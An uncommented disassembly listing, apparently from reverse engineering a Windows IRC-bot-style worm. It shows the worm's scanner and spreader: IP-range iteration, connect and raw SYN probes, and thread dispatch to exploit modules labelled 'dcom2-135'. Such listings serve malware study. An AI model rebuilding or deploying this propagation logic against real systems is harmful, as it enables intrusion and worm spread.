var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_4181D0
push edi
lea eax, [ebp+var_800]
push offset dword_43F424
push eax
call sub_417CB0
cmp dword_43F068, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_409D98
push esi
mov esi, offset aDcom2135_0 ; "Dcom2-135"
loc_409D61: ; CODE XREF: sub_409D2C+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_43F440
push eax
call sub_417CB0
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_419200
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_409D61
pop esi
loc_409D98: ; CODE XREF: sub_409D2C+2Dj
push dword_4D63A4
call sub_414606
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_417CB0
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_419200
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_800]
push eax
call sub_40F927
add esp, 34h
pop edi
leave
retn
sub_409D2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409DF2 proc near ; DATA XREF: sub_401C87+1723o
var_3F0 = byte ptr -3F0h
var_1F0 = dword ptr -1F0h
var_1EC = byte ptr -1ECh
var_1DC = byte ptr -1DCh
var_15C = byte ptr -15Ch
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_134 = byte ptr -134h
var_124 = byte ptr -124h
var_A4 = byte ptr -0A4h
var_24 = dword ptr -24h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3F0h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp+var_134]
push eax
call dword_4D66A8 ; inet_addr
xor edi, edi
mov [ebp+var_8], eax
cmp dword_43F068, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], edi
jz loc_409F51
mov esi, offset dword_43F068
mov ebx, offset aDcom2135 ; "dcom2-135"
loc_409E46: ; CODE XREF: sub_409DF2+159j
push [ebp+var_1C]
push dword ptr [esi]
push [ebp+var_8]
call sub_40A5E3
add esp, 0Ch
cmp eax, 1
jnz loc_409F40
push dword ptr [esi]
lea eax, [ebp+var_134]
push eax
lea eax, [ebx+0Ah]
push eax
lea eax, [ebp+var_3F0]
push offset unk_43F460
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_40764A
lea eax, [ebp+var_3F0]
push eax
call sub_40F927
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_1EC]
push eax
call sub_417CB0
lea eax, [ebp+var_15C]
push ebx
push eax
call sub_417CB0
add esp, 3Ch
cmp [ebp+var_A4], 0
lea eax, [ebp+var_A4]
jnz short loc_409EDB
lea eax, [ebp+var_124]
loc_409EDB: ; CODE XREF: sub_409DF2+E1j
push eax
lea eax, [ebp+var_1DC]
push eax
call sub_417CB0
mov eax, [ebp+var_24]
pop ecx
mov [ebp+var_1F0], eax
mov eax, [ebp+var_14]
mov [ebp+var_140], eax
mov eax, [ebp+var_10]
pop ecx
mov [ebp+var_13C], eax
mov eax, [esi]
sub esp, 0BCh
mov [ebp+var_150], eax
mov eax, [ebp+var_18]
push 2Fh
mov [ebp+var_14C], eax
mov eax, [ebp+arg_0]
pop ecx
lea esi, [ebp+var_1F0]
mov edi, esp
mov [ebp+var_148], eax
rep movsd
call dword ptr [ebx+2Ch]
add esp, 0BCh
inc [ebp+var_4]
xor edi, edi
loc_409F40: ; CODE XREF: sub_409DF2+67j
inc [ebp+arg_0]
add ebx, 40h
lea esi, [ebx+28h]
cmp [esi], edi
jnz loc_409E46
loc_409F51: ; CODE XREF: sub_409DF2+44j
push [ebp+var_4]
lea eax, [ebp+var_134]
push eax
lea eax, [ebp+var_3F0]
push offset unk_43F490
push eax
call sub_417CB0
push edi
lea eax, [ebp+var_3F0]
push [ebp+var_14]
push eax
lea eax, [ebp+var_124]
push eax
push [ebp+var_24]
call sub_40764A
lea eax, [ebp+var_3F0]
push eax
call sub_40F927
push [ebp+var_18]
call sub_409979
add esp, 2Ch
push edi
call dword_4E03A0 ; ExitThread
sub_409DF2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409FA4 proc near ; CODE XREF: sub_401C87+1F05p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_4098A5
test eax, eax
pop ecx
jle short loc_409FE0
mov eax, [ebp+arg_C]
push dword_4D67B8[eax*8]
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_43F4C4
push eax
call sub_417CB0
add esp, 0Ch
jmp short loc_409FF3
; ---------------------------------------------------------------------------
loc_409FE0: ; CODE XREF: sub_409FA4+13j
lea eax, [ebp+var_200]
push offset unk_43F4E0
push eax
call sub_417CB0
pop ecx
pop ecx
loc_409FF3: ; CODE XREF: sub_409FA4+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
lea eax, [ebp+var_200]
push eax
call sub_40F927
add esp, 18h
leave
retn
sub_409FA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A01B proc near ; CODE XREF: sub_40AA63+4Fp
var_210 = dword ptr -210h
var_204 = byte ptr -204h
var_4 = byte ptr -4
arg_10 = byte ptr 18h
arg_90 = byte ptr 98h
arg_110 = dword ptr 118h
arg_130 = dword ptr 138h
arg_138 = dword ptr 140h
arg_13C = dword ptr 144h
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+arg_130]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_40A4FB
shl eax, 6
xor ebx, ebx
cmp dword_43F074[eax], ebx
jz loc_40A4FB
push 5
call sub_4098A5
test eax, eax
pop ecx
jnz loc_40A295
mov eax, dword_43707C
push edi
mov esi, offset dword_4D8874
push 104h
push esi
push ebx
mov dword_4D8A84, eax
mov dword_4D8A80, ebx
call dword_4E0334 ; GetModuleFileNameA
mov edi, offset byte_4370EC
push 103h
push edi
push offset dword_4D8978
call sub_417760
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D8870, eax
mov eax, [ebp+arg_138]
push 7Fh
mov dword_4D8B08, eax
jnz short loc_40A0CB
lea eax, [ebp+arg_10]
push eax
push offset dword_4D8A88
call sub_417760
mov dword_4D8B0C, 1
jmp short loc_40A0E2
; ---------------------------------------------------------------------------
loc_40A0CB: ; CODE XREF: sub_40A01B+94j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D8A88
call sub_417760
mov dword_4D8B0C, ebx
loc_40A0E2: ; CODE XREF: sub_40A01B+AEj
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D8A84
push offset unk_43F500
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_204]
push 5
push eax
call sub_409663
add esp, 1Ch
mov dword_4D8A7C, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D8870
push offset sub_40F3B8
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, dword_4D8A7C
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz loc_40A1E6
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_43F534
push eax
call sub_417CB0
add esp, 0Ch
loc_40A160: ; CODE XREF: sub_40A01B+1D3j
lea eax, [ebp+var_204]
push eax
call sub_40F927
mov eax, dword_4D63A0
mov esi, offset dword_4D8B1C
mov [esp+210h+var_210], 104h
push esi
push ebx
mov dword_4D8D2C, eax
mov dword_4D8D28, ebx
call dword_4E0334 ; GetModuleFileNameA
push 103h
push edi
push offset dword_4D8C20
call sub_417760
mov eax, [ebp+arg_110]
add esp, 0Ch
cmp [ebp+arg_90], bl
mov dword_4D8B18, eax
mov eax, [ebp+arg_138]
pop edi
mov dword_4D8DB0, eax
push 7Fh
jnz short loc_40A1F3
lea eax, [ebp+arg_10]
push eax
push offset dword_4D8D30
call sub_417760
mov dword_4D8DB4, 1
jmp short loc_40A20A
; ---------------------------------------------------------------------------
loc_40A1DE: ; CODE XREF: sub_40A01B+1D1j
push 32h
call dword_4E033C ; Sleep
loc_40A1E6: ; CODE XREF: sub_40A01B+124j
cmp dword_4D8B10, ebx
jz short loc_40A1DE
jmp loc_40A160
; ---------------------------------------------------------------------------
loc_40A1F3: ; CODE XREF: sub_40A01B+1A7j
lea eax, [ebp+arg_90]
push eax
push offset dword_4D8D30
call sub_417760
mov dword_4D8DB4, ebx
loc_40A20A: ; CODE XREF: sub_40A01B+1C1j
add esp, 0Ch
lea eax, [ebp+var_204]
push esi
push dword_4D8D2C
push offset unk_43F568
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_204]
push 4
push eax
call sub_409663
add esp, 1Ch
mov dword_4D8D24, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D8B18
push offset sub_40D0F7
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, dword_4D8D24
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz loc_40A30E
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_43F59C
push eax
call sub_417CB0
add esp, 0Ch
loc_40A288: ; CODE XREF: sub_40A01B+2FBj
lea eax, [ebp+var_204]
push eax
call sub_40F927
pop ecx
loc_40A295: ; CODE XREF: sub_40A01B+35j
mov eax, [ebp+arg_130]
mov ecx, eax
shl ecx, 6
cmp dword_43F07C[ecx], ebx
jz loc_40A3C2
push 7
call sub_4098A5
test eax, eax
pop ecx
jnz loc_40A3BC
mov eax, dword_4D939C
cmp [ebp+arg_90], bl
mov dword_4D87DC, eax
mov eax, [ebp+arg_110]
mov dword_4D87D0, eax
mov eax, [ebp+arg_138]
mov dword_4D87D8, ebx
mov dword_4D8860, eax
push 7Fh
jnz short loc_40A31B
lea eax, [ebp+arg_10]
push eax
push offset dword_4D87E0
call sub_417760
mov dword_4D8864, 1
jmp short loc_40A332
; ---------------------------------------------------------------------------
loc_40A306: ; CODE XREF: sub_40A01B+2F9j
push 32h
call dword_4E033C ; Sleep
loc_40A30E: ; CODE XREF: sub_40A01B+24Cj
cmp dword_4D8DB8, ebx
jz short loc_40A306
jmp loc_40A288
; ---------------------------------------------------------------------------
loc_40A31B: ; CODE XREF: sub_40A01B+2CFj
lea eax, [ebp+arg_90]
push eax
push offset dword_4D87E0
call sub_417760
mov dword_4D8864, ebx
loc_40A332: ; CODE XREF: sub_40A01B+2E9j
add esp, 0Ch
lea eax, [ebp+var_204]
push dword_4D87DC
push offset unk_43F5D0
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_204]
push 7
push eax
call sub_409663
add esp, 18h
mov dword_4D87D4, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D87D0
push offset sub_40CE55
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, dword_4D87D4
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz loc_40A4B4
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_43F600
push eax
call sub_417CB0
add esp, 0Ch
loc_40A3AF: ; CODE XREF: sub_40A01B+4A1j
lea eax, [ebp+var_204]
push eax
call sub_40F927
pop ecx
loc_40A3BC: ; CODE XREF: sub_40A01B+29Bj
mov eax, [ebp+arg_130]
loc_40A3C2: ; CODE XREF: sub_40A01B+28Bj
shl eax, 6
cmp dword_43F078[eax], ebx
jz loc_40A4FB
push 3
call sub_4098A5
test eax, eax
pop ecx
jnz loc_40A4FB
mov esi, offset dword_4D904C
push 104h
push esi
push ebx
call dword_4E0334 ; GetModuleFileNameA
push 5Ch
push esi
call sub_418800
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40A403
mov [eax], bl
loc_40A403: ; CODE XREF: sub_40A01B+3E4j
mov eax, dword_437080
mov dword_4D9164, ebx
mov dword_4D9150, eax
lea eax, [ebp+arg_10]
push eax
push offset dword_4D8DC4
call sub_417CB0
mov eax, [ebp+arg_110]
pop ecx
pop ecx
mov dword_4D8DC0, eax
mov ecx, [ebp+arg_138]
push esi
push dword_4D9150
mov dword_4D915C, ecx
mov ecx, [ebp+arg_13C]
push eax
mov dword_4D9160, ecx
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_204]
push offset unk_43F638
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_204]
push 3
push eax
call sub_409663
add esp, 20h
mov dword_4D9158, eax
lea eax, [ebp+var_4]
push eax
push ebx
push offset dword_4D8DC0
push offset sub_40D826
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, dword_4D9158
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jz short loc_40A4D3
jmp short loc_40A4C9
; ---------------------------------------------------------------------------
loc_40A4AC: ; CODE XREF: sub_40A01B+49Fj
push 32h
call dword_4E033C ; Sleep
loc_40A4B4: ; CODE XREF: sub_40A01B+373j
cmp dword_4D8868, ebx
jz short loc_40A4AC
jmp loc_40A3AF
; ---------------------------------------------------------------------------
loc_40A4C1: ; CODE XREF: sub_40A01B+4B4j
push 32h
call dword_4E033C ; Sleep
loc_40A4C9: ; CODE XREF: sub_40A01B+48Fj
cmp dword_4D916C, ebx
jz short loc_40A4C1
jmp short loc_40A4EE
; ---------------------------------------------------------------------------
loc_40A4D3: ; CODE XREF: sub_40A01B+48Dj
call dword_4E0350 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_204]
push offset unk_43F674
push eax
call sub_417CB0
add esp, 0Ch
loc_40A4EE: ; CODE XREF: sub_40A01B+4B6j
lea eax, [ebp+var_204]
push eax
call sub_40F927
pop ecx
loc_40A4FB: ; CODE XREF: sub_40A01B+14j
; sub_40A01B+25j ...
pop esi
pop ebx
leave
retn
sub_40A01B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4FF proc near ; CODE XREF: sub_40A84F:loc_40A8B1p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:4D67B8h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_419330
add esp, 0Ch
push [ebp+arg_0]
call dword_4D6590 ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_4D6664 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_419330
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_40A4FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A547 proc near ; CODE XREF: sub_40A84F+5Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_414EC0
cmp eax, 0Fh
pop ecx
jbe short loc_40A56F
xor eax, eax
jmp short loc_40A5E0
; ---------------------------------------------------------------------------
loc_40A56F: ; CODE XREF: sub_40A547+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_419670
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40A59C
call sub_417DC0
mov [ebp+var_C], eax
loc_40A59C: ; CODE XREF: sub_40A547+4Bj
cmp [ebp+var_8], esi
jnz short loc_40A5A9
call sub_417DC0
mov [ebp+var_8], eax
loc_40A5A9: ; CODE XREF: sub_40A547+58j
cmp [ebp+var_4], esi
jnz short loc_40A5B6
call sub_417DC0
mov [ebp+var_4], eax
loc_40A5B6: ; CODE XREF: sub_40A547+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40A5C2
call sub_417DC0
loc_40A5C2: ; CODE XREF: sub_40A547+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4D67B8[ecx*8], eax
loc_40A5E0: ; CODE XREF: sub_40A547+26j
pop esi
leave
retn
sub_40A547 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A5E3 proc near ; CODE XREF: sub_409DF2+5Cp
; sub_40A84F+A9p ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
inc edi
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4D66E8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A60C
xor eax, eax
jmp short loc_40A67B
; ---------------------------------------------------------------------------
loc_40A60C: ; CODE XREF: sub_40A5E3+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4D6668 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4D6704 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4D6610 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4D6650 ; select
push esi
mov edi, eax
call dword_4D6700 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40A67B: ; CODE XREF: sub_40A5E3+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40A5E3 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_4181D0
push ebx
push esi
push edi
mov edi, 2649h
push edi
call dword_4D6668 ; ntohs
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call dword_4D6668 ; ntohs
mov [ebp-26h], ax
call sub_417DC0
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call dword_4D6668 ; ntohs
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call dword_4D6668 ; ntohs
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call sub_419330
lea eax, [ebp-58h]
push 20h
push eax
call sub_4088DB
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_417700
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call dword_4D6668 ; ntohs
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call dword_4D66E8 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40A77F
push offset aSocketOpenFail ; "socket open failed"
jmp loc_40A842
; ---------------------------------------------------------------------------
loc_40A77F: ; CODE XREF: .data:0040A773j
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call dword_4D66CC ; sendto
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_40A7C8
call dword_4D65FC ; WSAGetLastError
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_417CB0
lea eax, [ebp-0D8h]
push eax
call sub_40F927
add esp, 14h
jmp short loc_40A834
; ---------------------------------------------------------------------------
loc_40A7C8: ; CODE XREF: .data:0040A79Aj
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_417700
add esp, 0Ch
jmp short loc_40A7FF
; ---------------------------------------------------------------------------
loc_40A7DF: ; CODE XREF: .data:0040A806j
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call dword_4D6640 ; recvfrom
test eax, eax
jl short loc_40A829
loc_40A7FF: ; CODE XREF: .data:0040A7DDj
cmp [ebp-100FAh], di
jnz short loc_40A7DF
push esi
call dword_4D6700 ; closesocket
cmp word ptr [ebp-100EAh], 1
jnz short loc_40A83D
push offset aSocketOpen_ ; "Socket open."
call sub_40F927
xor eax, eax
pop ecx
inc eax
jmp short loc_40A84A
; ---------------------------------------------------------------------------
loc_40A829: ; CODE XREF: .data:0040A7FDj
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_40F927
pop ecx
loc_40A834: ; CODE XREF: .data:0040A7C6j
push esi
call dword_4D6700 ; closesocket
jmp short loc_40A848
; ---------------------------------------------------------------------------
loc_40A83D: ; CODE XREF: .data:0040A817j
push offset aSocketClosed_ ; "Socket closed."
loc_40A842: ; CODE XREF: .data:0040A77Aj
call sub_40F927
pop ecx
loc_40A848: ; CODE XREF: .data:0040A83Bj
xor eax, eax
loc_40A84A: ; CODE XREF: .data:0040A827j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A84F proc near ; DATA XREF: sub_40AA63+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_4E036C ; GetTickCount
push eax
call sub_417DB0
mov ebx, esi
pop ecx
imul ebx, 234h
jmp loc_40AA40
; ---------------------------------------------------------------------------
loc_40A89B: ; CODE XREF: sub_40A84F+1FFj
cmp [ebp+var_10], 0
push eax
jz short loc_40A8B1
lea eax, [ebp+var_150]
push eax
call sub_40A547
pop ecx
jmp short loc_40A8B6
; ---------------------------------------------------------------------------
loc_40A8B1: ; CODE XREF: sub_40A84F+51j
call sub_40A4FF
loc_40A8B6: ; CODE XREF: sub_40A84F+60j
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_4495A4[ebx]
push [ebp+var_3C]
push edi
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_43F72C
push eax
call sub_417CB0
lea eax, [ebp+var_28C]
push eax
lea eax, dword_4493A0[ebx]
push eax
call sub_417CB0
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40A5E3
add esp, 2Ch
cmp eax, 1
jnz loc_40AA35
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40A98A
push offset dword_4D87B8
call dword_4E03A8 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_43F764
push eax
call sub_417CB0
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40A96C
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_40A960
lea eax, [ebp+var_140]
loc_40A960: ; CODE XREF: sub_40A84F+109j
push eax
push [ebp+var_40]
call sub_40764A
add esp, 14h
loc_40A96C: ; CODE XREF: sub_40A84F+EEj
lea eax, [ebp+var_28C]
push eax
call sub_40F927
mov [esp+2A8h+var_2A8], offset dword_4D87B8
call dword_4E03A4 ; RtlLeaveCriticalSection
jmp loc_40AA35
; ---------------------------------------------------------------------------
loc_40A98A: ; CODE XREF: sub_40A84F+BEj
push edi
call dword_4D66F4 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_417CB0
mov eax, [ebp+var_20]
shl eax, 6
add eax, offset aDcom2135 ; "dcom2-135"
push eax
lea eax, [ebp+var_178]
push eax
call sub_417CB0
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_40A9CE
lea eax, [ebp+var_140]
loc_40A9CE: ; CODE XREF: sub_40A84F+177j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_417CB0
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_43F06C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40AA35: ; CODE XREF: sub_40A84F+B4j
; sub_40A84F+136j
push 7D0h
call dword_4E033C ; Sleep
loc_40AA40: ; CODE XREF: sub_40A84F+47j
mov eax, dword_4495A4[ebx]
cmp dword_4D67BC[eax*8], 0
jnz loc_40A89B
push esi
call sub_409979
pop ecx
push 0
call dword_4E03A0 ; ExitThread
sub_40A84F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA63 proc near ; DATA XREF: sub_401C87+1B63o
; sub_401C87+486Ao
var_20C = dword ptr -20Ch
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
xor ebx, ebx
pop ecx
mov esi, eax
lea edi, [ebp+var_14C]
inc ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4D66A8 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4D67B8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40A01B
push 0Bh
call sub_4098A5
add esp, 150h
cmp eax, ebx
jnz short loc_40AB31
mov esi, offset dword_4D87B8
push esi
call dword_4E03B0 ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_4E03AC ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40AB31
lea eax, [ebp+var_1CC]
push offset unk_43F78C
push eax
call sub_417CB0
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40AB1B
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40764A
add esp, 14h
loc_40AB1B: ; CODE XREF: sub_40AA63+99j
lea eax, [ebp+var_1CC]
push eax
call sub_40F927
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40AB31: ; CODE XREF: sub_40AA63+63j
; sub_40AA63+7Fj
